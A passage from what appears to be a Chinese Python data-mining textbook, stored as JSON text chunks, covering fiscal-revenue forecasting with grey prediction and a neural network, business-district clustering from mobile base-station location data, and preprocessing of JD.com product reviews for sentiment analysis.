将数据零均值标准化后，代入个人所得税所建立的3层神经网络预测模型（输入层4节点，隐藏层8节点，输出层1节点），得到个人所得税的2015年预测值为400352.4万元，相关数据见表13-19，其中红色字体的数据为预测数据。"},
    {"text": "图13-2为神经网络个人所得税真实值与预测值对比图。 表13-19 个人所得税及其相关因素历史数据和预测表 数据详见：demo/data/personal_Income.xls 图13-6 个人所得税真实值与预测值对比图 个人所得税神经网络预测模型如代码清单13-17所示。 代码清单13-17 个人所得税神经网络预测模型 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../tmp/data5_GM11.xls' # 灰色预测后保存的路径 outputfile = '../data/personal_Income.xls' # 神经网络预测后保存的结果 modelfile = '../tmp/5-net.model' # 模型保存路径 data = pd.read_excel(inputfile) # 读取数据 feature = ['x1', 'x4', 'x5', 'x7'] # 特征所在列 data_train = data.loc[range(2000,2014)].copy() # 取 2014 年前的数据建模 data_mean = data_train.mean() data_std = data_train.std() data_train = (data_train - data_mean)/data_std # 数据标准化 x_train = data_train[feature].as_matrix() # 特征数据 y_train = data_train['y'].as_matrix() # 标签数据 from keras.models import Sequential from keras.layers.core import Dense, Activation model = Sequential() # 建立模型 model.add(Dense(4, 8)) model.add(Activation('relu')) # 用 relu 函数作为激活函数，能够大幅提供准确度 model.add(Dense(8, 1)) model.compile(loss='mean_squared_error', optimizer='adam') # 编译模型 model.fit(x_train, y_train, nb_epoch = 15000, batch_size = 16) # 训练模型，学习 一万五千次 model.save_weights(modelfile) # 保存模型参数 # 预测，并还原结果。 x = ((data[feature] - data_mean[feature])/data_std[feature]).as_matrix() data[u'y_pred'] = model.predict(x) * data_std['y'] + data_mean['y'] data[u'y_pred'] = data[u'y_pred'].round() data.to_excel(outputfile) import matplotlib.pyplot as plt # 画出预测结果图 p = data[['y','y_pred']].plot(subplots = True, style=['b-o','r-*']) plt.show() 代码详见：demo/code/5-yuce.py （6）政府性基金收入预测模型 相比于2006年及以往年份，2007年的该市土地出让金大幅上涨，而土地出让金收入的大幅上涨直接影响了政府性基金收入。"},
    {"text": "所以，为了数据的连续性，本例利用灰色预测法对2007年至2013年的政府性基金收入进行预测，灰色预测的后验差比值为0.2390，小于0.35，预测精度为好。"},
    {"text": "代码清单13-18 政府性基金收入灰色预测 #-*- coding: utf-8 -*- from __future__ import print_function import numpy as np import pandas as pd from GM11 import GM11 # 引入自己编写的灰色预测函数 x0 = np.array([3152063, 2213050, 4050122, 5265142, 5556619, 4772843, 9463330]) f, a, b, x00, C, P = GM11(x0) print(u'2014 年、 2015 年的预测结果分别为： \\n%0.2f 万元和 %0.2f 万元 ' %(f(8), f(9))) print(u' 后验差比值为： %0.4f' %C) p = pd.DataFrame(x0, columns = ['y'], index = range(2007, 2014)) p.loc[2014] = None p.loc[2015] = None p['y_pred'] = [f(i) for i in range(1,10)] p['y_pred'] = p['y_pred'].round(2) p.index = pd.to_datetime(p.index, format='%Y') import matplotlib.pylab as plt p.plot(style=['b-o','r-*'], xticks = p.index) plt.show() 代码详见：demo/code/6-huise.py [1] 陈庚，卢丹丹，万浩文.基于数据挖掘技术的市财政收入分析预测模型.第三届泰迪杯全国大学生数据挖掘竞赛（http://www.tipdm.org）优秀作品。"},
    {"text": "13.3 上机实验 1.实验目的 掌握Adaptive-lasso变量选择和神经网络预测模型。 2.实验内容 ·对搜集的某市地方财政收入以及各类别收入数据进行分析，识别影响地方财政收入的关键特征，数据见“test/data/data1—data5.csv”。使用Adaptive-lasso变量选择方法筛选出地方财政收入以及各类别收入的关键影响因素。 ·用GM（1，1）灰色预测方法得到筛选出的关键影响因素的2014年、2015年的预测值。 ·代入用历史数据训练的神经网络模型，从而得到某市地方财政收入以及各类别收入2014年、2015年的预测值。 3.实验方法与步骤 1）使用read_csv（）函数把经过预处理的“test/data/data（1—5）.csv”数据读入当前工作空间。 2）使用adaptive-lasso函数“test/code/（1—5）-adaptive-lasso.py”对预处理的数据“data（1—5）.csv”进行变量选择。 3）使用GM（1，1）灰色预测方法“test/code/（1—5）-huise.py”得到筛选出的关键影响因素的2014年、2015年的预测值。 4）使用神经网络对某市地方财政收入以及各类别收入进行预测。 4.思考与实验总结 1）尝试其他的变量选择方法。 2）尝试采用岭回归方法进行变量选择与lasso进行比较，尝试使用更复杂的神经网络模型进行预测。 13.4 拓展思考 由于电力工业与其他的产业不同，其产品（即电能）无法大量储存，电力的生产和消费必须在同一瞬间进行，因此电力负荷预测成为电力系统运行调度、生产规划、电力市场竞价决策的重要组成部分。做好电力负荷预测管理工作可以有效降低电网公司运行成本并提高电力设备运行效率，其预测精度不但可以保证电网安全可靠供电，而且直接影响到电网经营企业的生产经营决策及经营效益。随着电力改革的深化、电力市场的开放，进一步提高短期负荷预测管理水平愈加显得重要和迫切。电网结构示意图如图13-8所示。 目前，国内外的预测应用软件大多基于特定的少数几种模型，而选择模型单一造成的后果是：预测结果往往只对某种发展规律有效，当事物发展规律改变时，如果仍然采用原有的单一模型，就会造成预测结果偏差过大，从而失去了预测的实际意义。尤其是对于使用系统的各个供电公司，由于发展水平不同，用电结构不同，负荷特性差异很大，特定的某种预测方法很难在各地都发挥出良好的效果。另外，在电力市场环境下，影响电力发展的因素非常多，包括经济发展、能源消费、气象条件等众多影响因素，加之不同系统间数据共享性差，很难考虑相关因素的影响等，导致目前基于用电侧的电力负荷预测效果不甚理想。基于用电侧数据如何进行有效的电力负荷预测，为供电部门进行安全监视、预防性控制和紧急状态处理提供依据？ 图13-8 电网结构示意图 13.5 小结 本章结合某市地方财政收入以及各类别收入分析和预测的案例，重点介绍了数据挖掘算法中Adaptive-Lasso方法和神经网络算法在实际案例中的应用。重点研究影响某市地方财政收入的关键因素，并在这些关键影响因素的基础上采用神经网络算法对2015年各类别的收入进行预测，并详细地描述了数据挖掘的整个过程，也对相应的算法给出了Python上机实验。 第14章 基于基站定位数据的商圈分析 14.1 背景与挖掘目标 随着个人手机终端的普及，出行群体中手机拥有率和使用率已达到相当高的比例，手机移动网络也基本实现了城乡空间区域的全覆盖。根据手机信号在真实地理空间上的覆盖情况，将手机用户时间序列的手机定位数据，映射至现实的地理空间位置，即可完整、客观地还原出手机用户的现实活动轨迹，从而挖掘得到人口空间分布与活动联系的特征信息。移动通信网络的信号覆盖逻辑上被设计成由若干六边形的基站小区相互邻接而构成的蜂窝网络面状服务区，如图14-1所示，手机终端总是与其中某一个基站小区保持联系，移动通信网络的控制中心会定期或不定期地主动或被动地记录每个手机终端时间序列的基站小区编号信息。 图14-1 移动基站示意图 商圈是现代市场中企业市场活动的空间，最初是站在商品和服务提供者的产地角度提出来的，后来逐渐扩展到商圈，同时也是商品和服务享用者的区域。商圈划分的目的之一是为了研究潜在的顾客的分布以制定适宜的商业对策。 从某通信运营商提供的特定接口解析得到用户的定位数据，见表14-1，定位数据各属性如表14-2所示。定位数据是以基站小区进行标识，利用基站小区的覆盖范围作为商圈区域的划分，那如何对用户的历史定位数据进行科学的分析，归纳出商圈的人流特征和规律，识别出不同类别的商圈，选择合适的区域进行运营商的促销活动？ 表14-1 某市某区域的定位数据示例 表14-2 定位数据属性列表 本次数据挖掘建模目标如下。 1）对用户的历史定位数据，采用数据挖掘技术，对基站进行分群。 2）对不同的商圈分群进行特征分析，比较不同商圈类别的价值，选择合适的区域进行运营商的促销活动。"},
    {"text": "14.2 分析方法与过程 手机用户在使用短信业务、通话业务、开关机、正常位置更新、周期位置更新和切入呼叫的时候均产生定位数据，定位数据记录手机用户所处基站的编号、时间和唯一标识用户的EMASI号等。"},
    {"text": "历史定位数据描绘了用户的活动模式，一个基站覆盖的区域可等价于商圈，通过归纳经过基站覆盖范围的人口特征，识别出不同类别的基站范围，即可等同地识别出不同类别的商圈。"},
    {"text": "3）利用步骤2）形成的已完成数据预处理的建模数据，基于基站覆盖范围区域的人流特征进行商圈聚类，对各个商圈分群进行特征分析，选择合适的区域进行运营商的促销活动。 图14-2 基于基站定位数据的商圈分析流程 14.2.1 数据抽取 从移动通信运营商提供的特定接口上解析、处理、并滤除用户属性后得到位置数据，以2014-1-1为开始时间，2014-6-30为结束时间作为分析的观测窗口，抽取观测窗口内某市某区域的定位数据形成建模数据，部分数据见表14-1。"},
    {"text": "14.2.2 数据探索分析 为了便于观察数据，先提取EMASI号为“55555”的用户在2014年1月1日的定位数据，如表14-3所示，可以发现用户在2014年1月1日00：31：48处于36908基站的范围，下一个记录是用户在2014年1月1日00：53：46处于36902基站的范围，这表明了用户从00：31：48到00：53：46都是处于36908基站，共停留了21分58秒，并且在00：53：46进入了36902基站的范围。 再下一条记录是用户在2014年1月1日01：26：11处于36902基站的范围，这可能是由于用户在进行通话或者其他产生定位数据记录的业务，此时的基站编号未发生改变，用户依旧处于36902基站的范围，若要计算用户在36902基站范围停留的时间，则需要继续判断下一条记录，可以发现用户在2014年1月1日02：13：46处于36907基站的范围，故用户从00：53：46到02：13：46都是处于36902基站，共停留了80分。"},
    {"text": "表14-3 EMASI号为“55555”的用户在2014年1月1日的位置数据 图14-3 停留示意图 14.2.3 数据预处理 1.数据规约 原始数据的属性较多，但网络类型、LOC编号和信令类型这3个属性对于挖掘目标没有用处，故剔除这3个冗余的属性。"},
    {"text": "在计算用户的停留时间时，只计算两条记录的时间差，为了减少数据维度，把年、月和日合并记为日期，时、分和秒合并记为时间，则表14-3可处理得到表14-4。"},
    {"text": "表14-4 数据规约后数据 2.数据变换 挖掘的目标是寻找出高价值的商圈，需要根据用户的定位数据提取出衡量基站覆盖范围区域的人流特征，如人均停留时间和人流量等，高价值的商圈具有人流量大，人均停留时间长的特点，但是在写字楼工作的上班族在白天所处的基站范围基本固定，停留时间也相对较长，晚上的住宅区的居民所处的基站范围基本固定，停留时间也相对较长，仅通过停留时间作为人流特征难以区分高价值商圈和写字楼与住宅区，所以提取出来的人流特征必须能较为明显地区别这些基站范围。"},
    {"text": "下面设计工作日上班时间人均停留时间、凌晨人均停留时间、周末人均停留时间和日均人流量作为基站覆盖范围区域的人流特征。 工作日上班时间人均停留时间是所有用户在工作日上班时间处在该基站范围内的平均时间，居民一般的上班工作时间是在9：00~18：00，所以工作日上班时间人均停留时间是计算所有用户在工作日9：00~18：00处在该基站范围内的平均时间。 凌晨人均停留时间是指所有用户在00：00~07：00处在该基站范围内的平均时间，一般居民在00：00~07：00都是在住处休息，利用这个指标则可以表征出住宅区基站的人流特征。 周末人均停留时间是指所有用户周末处在该基站范围内的平均时间，高价值商圈在周末的逛街人数和时间都会大幅增加，利用这个指标则可以表征出高价值商圈的人流特征。 日均人流量指平均每天曾经在该基站范围内的人数，日均人流量大说明经过该基站区域的人数多，利用这个指标则可以表征出高价值商圈的人流特征。"},
    {"text": "中间过程数据的计算以单个用户在一天里的定位数据为基础，计算在各个基站范围下的工作日上班时间停留时间、凌晨停留时间、周末停留时间和是否处于基站范围。 假设原始数据所有用户在观测窗口期间（L天）曾经经过的基站有N个，用户有M个，用户i在j天经过的基站有num1，num2和num3，则用户i在j天在num1基站的工作日上班时间停留时间为weekday_num1 ij ，在num2基站的工作日上班时间停留时间为weekday_num2 ij ，在num3基站的工作日上班时间停留时间为weekday_num3 ij ；"},
    {"text": "在num1基站的凌晨停留时间为night_num1 ij ，在num2基站的凌晨停留时间为night_num2 ij ，在num3基站的凌晨停留时间为night_num3 ij ； 在num1基站的周末停留时间为weekend_num1 ij ，在num2基站的周末停留时间为weekend_num2 ij ，在num3基站的周末停留时间为weekend_num3 ij ； 在num1基站是否停留为stay_num1 ij ，在num2基站是否停留为stay_num2 ij ，在num3基站是否停留为stay_num3 ij ，其中stay_num1 ij 、stay_num2 ij 和stay_num3 ij 的值均为1；"},
    {"text": "表14-5 样本数据 数据详见：示例程序/data/business_circle.xls 由于各个属性之间的差异较大，为了消除数量级数据带来的影响，在进行聚类前，需要进行离差标准化处理，离差标准化处理的Python代码如下代码清单14-1，离差后的数据文件存储在当前目录的standardized.xls文件中。 代码清单14-1 离差标准化 #-*- coding: utf-8 -*- # 数据标准化到 [0,1] import pandas as pd # 参数初始化 filename = '../data/business_circle.xls' # 原始数据文件 standardizedfile = '../tmp/standardized.xls' # 标准化后数据保存路径 data = pd.read_excel(filename, index_col = u' 基站编号 ') # 读取数据 data = (data - data.min())/(data.max() - data.min()) # 离差标准化 data = data.reset_index() data.to_excel(standardizedfile, index = False) # 保存结果 代码详见：示例程序/code/standardization.py 标准化后的样本数据见表14-6。 表14-6 标准化后样本数据 数据详见：示例程序/data/standardized.xls 14.2.4 模型构建 1.构建商圈聚类模型 数据经过预处理过后，形成建模数据。 采用层次聚类算法对建模数据进行基于基站数据的商圈聚类，画出谱系聚类图，Python代码如代码清单14-2所示，输入数据集为离差标准化后的数据。 代码清单14-2 谱系聚类图 #-*- coding: utf-8 -*- # 谱系聚类图 import pandas as pd # 参数初始化 standardizedfile = '../data/standardized.xls' # 标准化后的数据文件 data = pd.read_excel(standardizedfile, index_col = u' 基站编号 ') # 读取数据 import matplotlib.pyplot as plt from scipy.cluster.hierarchy import linkage,dendrogram # 这里使用 scipy 的层次聚类函数 Z = linkage(data, method = 'ward', metric = 'euclidean') # 谱系聚类图 P = dendrogram(Z, 0) # 画谱系聚类图 plt.show() 代码详见：示例程序/code/hierarchical_clustering_pic.m 根据代码清单14-2，可以得到的谱系聚类图，如图14-4所示。 图14-4 谱系聚类图 从图14-5可以看出，可把聚类类别数取3类，Python代码中取聚类类别数为k＝3，输出结果typeindex为每个样本对应的类别号。"},
    {"text": "代码清单14-3 层次聚类算法 #-*- coding: utf-8 -*- # 层次聚类算法 import pandas as pd # 参数初始化 standardizedfile = '../data/standardized.xls' # 标准化后的数据文件 k = 3 # 聚类数 data = pd.read_excel(standardizedfile, index_col = u' 基站编号 ') # 读取数据 from sklearn.cluster import AgglomerativeClustering # 导入 sklearn 的层次聚类函数 model = AgglomerativeClustering(n_clusters = k, linkage = 'ward') model.fit(data) # 训练模型 # 详细输出原始数据及其类别 r = pd.concat([data, pd.Series(model.labels_, index = data.index)], axis = 1) # 详细输出每个样本对应的类别 r.columns = list(data.columns) + [u' 聚类类别 '] # 重命名表头 import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 style = ['ro-', 'go-', 'bo-'] xlabels = [u' 工作日人均停留时间 ', u' 凌晨人均停留时间 ', u' 周末人均停留时间 ', u' 日均人流量 '] pic_output = '../tmp/type_' # 聚类图文件名前缀 for i in range(k): # 逐一作图，作出不同样式 plt.figure() tmp = r[r[u' 聚类类别 '] == i].iloc[:,:4] # 提取每一类 for j in range(len(tmp)): plt.plot(range(1, 5), tmp.iloc[j], style[i]) plt.xticks(range(1, 5), xlabels, rotation = 20) # 坐标标签 plt.subplots_adjust(bottom=0.15) # 调整底部 plt.savefig(u'%s%s.png' %(pic_output, i)) # 保存图片 代码详见：示例程序/code/hierarchical_clustering.py 2.模型分析 针对聚类结果按不同类别画出4个特征的折线图，如图14-5、图14-6和图14-7所示。"},
    {"text": "对于商圈类别3，这部分基站覆盖范围的工作日上班时间人均停留时间较长，同时凌晨人均停留时间、周末人均停留时间相对较短，该类别基站覆盖的区域类似于白领上班族的工作区域。 对于商圈类别1，日均人流量较大，同时工作日上班时间人均停留时间、凌晨人均停留时间和周末人均停留时间相对较短，该类别基站覆盖的区域类似于商业区。 对于商圈类别2，凌晨人均停留时间和周末人均停留时间相对较长，而工作日上班时间人均停留时间较短，日均人流量较少，该类别基站覆盖的区域类似于住宅区。 商圈类别2的人流量较少，商圈类别3的人流量一般，而且白领上班族的工作区域一般的人员流动集中在上、下班时间和午间吃饭时间，这两类商圈均不利于运营商的促销活动的开展，商圈类别1的人流量大，在这样的商业区有利于进行运营商的促销活动。"},
    {"text": "14.3 上机实验 1.实验目的 掌握离差标准化进行数据预处理和层次聚类算法。 2.实验内容 对采集到的数据，按基站覆盖范围区域的人流特征进行计算，得到各个基站的样本数据，处理好的数据见“test/data/business_circle.xls”，需要对各个基站进行商圈聚类。但为了避免单个特征的值过大影响聚类效果，需要对数据先进行离差标准化，再采用层次聚类实现商圈聚类，并分析聚类结果。 3.实验方法与步骤 1）把原始数据，即表14-5的数据读取到Python工作空间。根据业务需求只需截取后面4列的数据进行标准化即可。 2）对原始数据进行离差标准化，需要设置离散化区间为[0，1]，同时考虑是否可以使用其他标准化方式。 3）构建层次聚类模型。比较scipy.cluster和sklearn.cluster两个子库的联系，在Scipy中使用linkage函数构建谱系聚类图，method参数设置为“ward”，metric参数设置为“euclidean”。 4）使用Scikit-Learn中的AgglomerativeClustering（）函数对构建好的谱系聚类图进行分类，通过n_clusters参数指定需要分类的类别数为3。 5）使用scipy.cluster的dendrogram（）函数对构建的谱系聚类图可视化，即画出其谱系聚类图并保存；针对每个群组使用Matplotlib画其趋势图并保存。 4.思考与实验总结 1）数据标准化的方法有哪些？这里为什么使用离差标准化？ 2）构建层次聚类模型时，可以调节哪些参数，对模型有何影响？ 14.4 拓展思考 轨迹挖掘可以定义为从移动定位数据中提取隐含的、人们预先不知道的、但又潜在有用的移动轨迹模式的过程。轨迹挖掘可应用到多个重要领域，如社交网络、公共安全、智能交通管理、城市规划与发展等。面向拼车推荐应用是轨迹挖掘的新兴研究主题。拼车是指相同路线的人乘坐同一辆车上下班、上学及放学回家、节假日出游等，车费由乘客平均分摊。拼车不仅能节省出行费用，而且有利于缓解城市交通。现在大部分的拼车网站的普遍做法仍然是通过拼车司机在拼车服务网站上发布出发地、目的地、出发时间等信息，再由拼车客户在网站上输入出发地和目的地来搜索符合自己情况的拼车对象。这在很大程度上浪费了拼车用户在网上搜索拼车伙伴的时间，使用户的拼车体验变差。而面向拼车推荐应用是需要先对用户的定位数据进行轨迹挖掘，发现用户的轨迹模式集合，再根据两个用户之间移动轨迹模式的相似性，推荐合适的拼车路线。 14.5 小结 本章结合基于基站定位数据的商圈分析的案例，重点介绍了数据挖掘算法中层次聚类算法在实际案例中的应用。研究用户的定位数据，总结出人流特征，并采用层次聚类算法进行商圈聚类，识别出不同类别的商圈，最后选择合适的区域进行运营商的促销活动。案例详细地描述了数据挖掘的整个过程，也对其相应的算法给出了Python上机实验。 第15章 电商产品评论数据情感分析 15.1 背景与挖掘目标 随着网上购物越来越流行，人们对于网上购物的需求变得越来越高，这让京东、淘宝等电商平台得到了很大的发展机遇。但是，这种需求也推动了更多的店商平台的崛起，引发了激烈的竞争。在这种电商平台激烈竞争的大背景下，除了提高商品质量、压低商品价格外，了解更多消费者的心声对于店商平台来说也变得越来越有必要，其中非常重要的方式就是对消费者的文本评论数据进行内在信息的数据挖掘分析。而得到的这些信息，也有利于对应商品的生产厂家自身竞争力的提升。 本文对京东平台上的热水器评论进行文本挖掘分析，本次数据挖掘建模目标如下。 1）分析某一品牌热水器的用户情感倾向。 2）从评论文本中挖掘出该品牌热水器的优点与不足。 3）提炼不同品牌热水器的卖点。"},
    {"text": "15.2 分析方法与过程 本次建模针对京东商城上“美的”品牌的热水器的消费者的文本评论数据，在对文本进行基本的机器预处理、中文分词、停用词过滤后，通过建立包括栈式自编码深度学习、语义网络与LDA主题模型等多种数据挖掘模型，实现对文本评论数据的倾向性判断以及所隐藏的信息的挖掘并分析，以期望得到有价值的内在内容。"},
    {"text": "图15-1为电商产品评论数据情感分析流程，主要包括以下步骤 [1] 。 图15-1 电商产品评论数据情感分析流程 1）利用爬虫工具——八爪鱼采集器，对京东商城进行热水器评论的数据采集。"},
    {"text": "15.2.1 评论数据采集 要分析电商平台的热水器评论数据，需要先对评论数据进行采集，对比多种网络爬虫工具后，发现八爪鱼采集器属于“易用型”，它主要通过模仿用户的网页操作进行数据采集，只需指定数据采集逻辑和可视化选择采集的数据，即可完成采集规则的制定。"},
    {"text": "首先在八爪鱼采集器中新建任务，设置打开页面为“ http://list.jd.com/list.html?cat=737%2C794%2C1706&ev=998_28702%40&page=1&JL=3_产品类型_电热水器 ”，页面如图15-2所示。 由于热水器下有多种产品，而且呈分页显示，所以抓取数据时需要制定翻页循环列表，再单击每个产品，进入产品的详细页面，如图15-3所示。"},
    {"text": "在本页面下需要抓取产品的名称，价格和评论信息。 评论信息可见产品详细页面的下方，如图15-4所示，这里需要采集的有用户评论、评论时间、购买信息和用户名。"},
    {"text": "图15-2 热水器列表页面 图15-3 产品的详细页面 图15-4 产品评论 经过以上分析，可在八爪鱼采集器中设计出流程，如图15-5所示，进行单机采集后得到结果截图如图15-6所示。"},
    {"text": "表15-1 原始评论文本 数据详见：01-示例数据/汇总-京东.xlsx 再将品牌为“美的”的“评论”一列抽取，另存为“\\data\\meidi_jd.txt”，编码为UTF-8。"},
    {"text": "代码清单15-1 评论抽取代码 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../data/huizong.csv' # 评论汇总文件 outputfile = '../data/meidi_jd.txt' # 评论提取后保存路径 data = pd.read_csv(inputfile, encoding = 'utf-8') data = data[[u' 评论 ']][data[u' 品牌 '] == u' 美的 '] data.to_csv(outputfile, index = False, header = False) 代码详见：demo/code/excel2txt.py 15.2.2 评论预处理 取到文本后，首先要进行文本评论数据的预处理。"},
    {"text": "文本评论数据里存在大量价值含量很低甚至没有价值含量的条目，如果将这些评论数据也引入进行分词、词频统计乃至情感分析等，必然会对分析造成很大的影响，得到的结果的质量也必然是存在问题的。"},
    {"text": "文本评论数据的预处理主要由3个部分组成：文本去重、机械压缩去词以及短句删除。 1.文本去重 （1）文本去重的基本解释及原因 文本去重，顾名思义，就是去除文本评论数据中重复的部分。 无论获取到什么样的文本评论数据，首先要进行的预处理都应当是文本去重。 文本去重的主要原因如下。"},
    {"text": "1）一些电商平台为了避免一些客户长时间不进行评论，往往会设置一道程序，如果用户超过规定的时间仍然没有做出评论，系统会自动替客户做出评论，当然这种评论的结果大多都会是好评（比如国美）。"},
    {"text": "2）同一个人可能会出现重复的评论，因为同一个人可能会购买多种热水器，然后在进行评论的过程中可能为了省事，就在多个热水器中采用同样或相近的评论，这里当然不乏有价值的评论，但是即使有价值也只有第一条有作用。 3）由语言的特点可知，在大多数情况下，不同人之间的有价值的评论不会出现完全重复，如果出现了不同人评论之间的完全重复，这些评论一般都是毫无意义的，诸如“好好好好好”“XX牌热水器 XX升”等或者是直接复制、粘贴上一人的评论，这种评论显然就只有最早评论出的才有意义（即只有第一条有作用）。"},
    {"text": "（2）常见文本去重算法概述及缺陷 前人的研究成果中，有许多的文本去重算法，大多都是先通过计算文本之间的相似度，再以此为基础进行去重，包括编辑距离去重、Simhash算法去重等，大多都存在一些缺陷。 以编辑距离算法去重为例，编辑距离算法去重实际上就是先计算两条语料的编辑距离，然后进行阈值判断，如果编辑距离小于某个阈值则进行去除重复处理，这种方法针对类如：“XX牌热水器 XX升 大品牌高质量”以及“XX牌热水器 XX升 大品牌 高质量 用起来真的不错”的接近重复而又无任何意义的评论文本，去除的效果是很好的，主要为了去除接近重复或完全重复的评论数据，而并不要求完全重复，但是当这种方法测到都有意义，但是有相近的表达的时候就可能也会采取删除操作，这样就会造成错删，例如下面的例子，“还没正式使用，不知道怎样，但安装的材料费确实有点高，380”以及“还没使用，不知道质量如何，但安装的材料费确实贵，380”。"},
    {"text": "（3）文本去重选用的方法及原因 既然这一类相对复杂的文本去重的算法容易去除有用的数据，那么就需要考虑一些相对简单的文本去重思路。 由于相近的语料存在不少是有用的评论，去除这类语料显然不合适，那么为了存留更多的有用语料，就只能对完全重复的语料下手。 处理完全重复的语料直接采用最简单的比较删除法就好了，也就是两两对比，完全相同就去除的方法。 从上述的总结我们可以知道，存在文本重复问题的条目归结到底只有1条语料甚至0条语料是有用的，但是透过观察评论知道存在重复但是起码有1条评论有用的语料，而运用比较删除法显然只能定为留1条或者是全去除，因此只能设为留1条，以确保尽可能存留有用的文本评论信息。 观察比较删除法实现后的结果，总体效果还是很不错的。"},
    {"text": "代码清单15-2 原始数据去重 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../data/meidi_jd.txt' # 评论文件 outputfile = '../data/meidi_jd_process_1.txt' # 评论处理后保存路径 data = pd.read_csv(inputfile, encoding = 'utf-8', header = None) l1 = len(data) data = pd.DataFrame(data[0].unique()) l2 = len(data) data.to_csv(outputfile, index = False, header = False, encoding = 'utf-8') print(u' 删除了 %s 条评论。 ' %(l1 - l2)) 代码详见：demo/code/clean_same.py 2.机械压缩去词 （1）机械压缩去词的思想 由于电商品牌的文本评论数据质量参差不齐，没有意义的文本数据很多，因此通过文本去重就已经可以删除掉非常多的没有意义的评论文本。"},
    {"text": "但是文本去重还远远不够，经过文本去重后的评论仍然有很多评论需要处理掉，例如， “非常好非常好非常好非常好非常好非常好非常好” 以及 “好呀好呀好呀好呀好呀好呀好呀好呀好呀”。"},
    {"text": "可惜的是，计算机不可能自动识别出所有的这种类型的语料，比如“非常好”可以有从1到无上限的有穷个的叠加，即使运用词典透过某些方式识别了这一类的文本评论数据，比如算出“非常好”比较多意味着可能是无意义评论，一位制造无意义评论的顾客还可以以任何一个词进行重复，还可以重复某词，但次数不一定多，而这种显然只需要保留第一个即可，若不处理，可能会影响情感倾向的判断，例如： “15分钟就出热水了，感觉还不错，但是安装费实在是太贵太贵太贵太贵” 与 “15分钟就出热水了，感觉还不错，但是安装费实在是太贵太贵太贵” 是没有差别的，但是若不处理，就会出现差别。 因此，就需要对语料进行机械压缩去词处理，也就是说要去掉一些连续重复累赘的表达，例如把： “哈哈哈哈哈哈哈哈哈哈哈” 缩成 “哈” 不过这样仍然会保留无意义的评论（比如上述的评论），但是这些评论在经过这步处理后，在最后一个预处理环节：短句删除环节就会被去除掉。"},
    {"text": "（2）机械压缩去词处理的语料结构 机械压缩去词实际上要处理的语料就是语料中有连续累赘重复的部分，从一般的评论偏好角度来讲，一般人制造无意义的连续重复只会在开头或者结尾进行，例如： “为什么为什么为什么安装费这么贵，毫无道理！ ” 以及 “真的很好好好好好好好好” 等，而中间的连续重复虽然也有，但是非常少见（中间重复在输入上显得麻烦，无意义评论本就为了随意了事），而且中间容易有成语的问题，例如： “安装师傅滔滔不绝的向我阐述这款热水器有多好” 这种语料显然在去掉一个“滔”字后肯定就会出现问题，因此只对开头以及结尾的连续重复进行机械压缩去词的处理。 （3）机械压缩去词处理过程的连续累赘重复的判断及压缩规则的阐述 连续累赘重复的判断可通过建立两个存放国际字符的列表来完成，先放第一个列表，再放第二个列表，一个个读取国际字符，并按照不同情况，将其放入带第一或第二个列表或触发压缩判断，若得出重复（及列表1与列表2有意义的部分完全一对一相同）则压缩去除，这样当然就要有相关的放置判断及压缩规则。 在进行机械压缩去词处理的连续累赘重复的判断及压缩规则设定的时候，必然要考虑到词法结构的问题。"},
    {"text": "规则2： 如果读入的字符与第一个列表的第一个字符相同，而第二个列表也有国际字符，则触发压缩判断，若得出重复，则进行压缩去除，清空第二个列表。"},
    {"text": "规则3： 如果读入的字符与第一个列表的第一个字符相同，而第二个列表也有国际字符，则触发压缩判断，若得出不重复，则清空两个列表，把读入的这个字符放入第一个列表第一个位置。"},
    {"text": "规则4： 如果读入的字符与第一个列表的第一个字符不相同，触发压缩判断，如果得出重复且列表所含国际字符数目大于等于2，则进行压缩去除，清空两个列表，把读入的这个放入第一个列表第一个位置。"},
    {"text": "规则5： 如果读入的字符与第一个列表的第一个字符不相同，触发压缩判断，若得出不重复且第二个列表没有放入国际字符，则继续在第一个列表放入国际字符。"},
    {"text": "规则6： 如果读入的字符与第一个列表的第一个字符不相同，触发压缩判断，若得出不重复且第二个列表已放入国际字符，则继续在第二个列表放入国际字符。"},
    {"text": "规则7： 读完所有国际字符后，触发压缩判断，对第一个列表以及第二个列表有意义部分进行比较，若得出重复，则进行压缩去除。 解释： 按照上述规则，在读完所有国际字符后不会再触发压缩判断条件，故为了避免下图实例连续重复情况，补充这一规则。"},
    {"text": "（4）机械压缩去词处理操作流程 根据上述规则，便可以完成对开头连续重复的处理。 类似的规则，也可以对处理过的文本再进行一次结尾连续重复的机械压缩去词，算法思想是相近的，只是从尾部开始读词罢了。"},
    {"text": "输出被压缩的语句和原语句的对比，下图截取了一部分前向机械压缩的对比例子，如图15-7所示。 图15-7 被压缩的语句和原语句对比 3.短句删除 （1）短句删除的原因及思想 完成机械压缩去词处理后，则进行最后的预处理步骤：短句删除。"},
    {"text": "虽然精简的辞藻在很多时候是一种比较良好的习惯，但是由语言的特点知道，从根本上说，字数越少所能够表达的意思就越少，要想表达一些相关的意思就一定要有相应量的字数，过少的字数的评论必然是没有任何有意义的评论，比如3个字，就只能表达诸如“很不错”“质量差”等。"},
    {"text": "为此，就要删除掉过短的评论文本数据，以去除掉没有意义的评论，例如， 1）原本就过短的评论文本，如“很不错”。 2）经机械压缩去词处理后过短的评论文本，即原本为存在连续重复的且无意义的长文本，如“好好好好好好好好好好好好好好好好”。 （2）保留的评论的字数下限的确定 显然，短句删除最重要的环节就是保留的评论的字数下限的确定，这个没有精确的标准，可以结合特定语料来确定，一般4~8个国际字符都是较为合理的下限，在此处设定下限为7个国际字符，即经过前两步预处理后得到的语料若小于等于4个国际字符，则将该语料删去。 经过前两步的处理后，第三步（短句删除）的效果是比较明显的，可以看出该程序能过滤掉众多的垃圾信息。"},
    {"text": "15.2.3 文本评论分词 在中文中，只有字、句和段落能够通过明显的分界符进行简单的划界，而对于“词”和“词组”来说，它们的边界模糊，没有一个形式上的分界符。"},
    {"text": "分词结果的准确性对后续文本挖掘算法有着不可忽视的影响，如果分词效果不佳，即使后续算法优秀也无法实现理想的效果。 例如，在特征选择的过程中，不同的分词效果，将直接影响词语在文本中的重要性，从而影响特征的选择。"},
    {"text": "15.2.4 模型构建 1.情感倾向性模型 （1）训练生成词向量 首先训练以得到词向量，为了将文本情感分析（情感分类）转化为机器学习问题，首先就是需要将符号数学化。"},
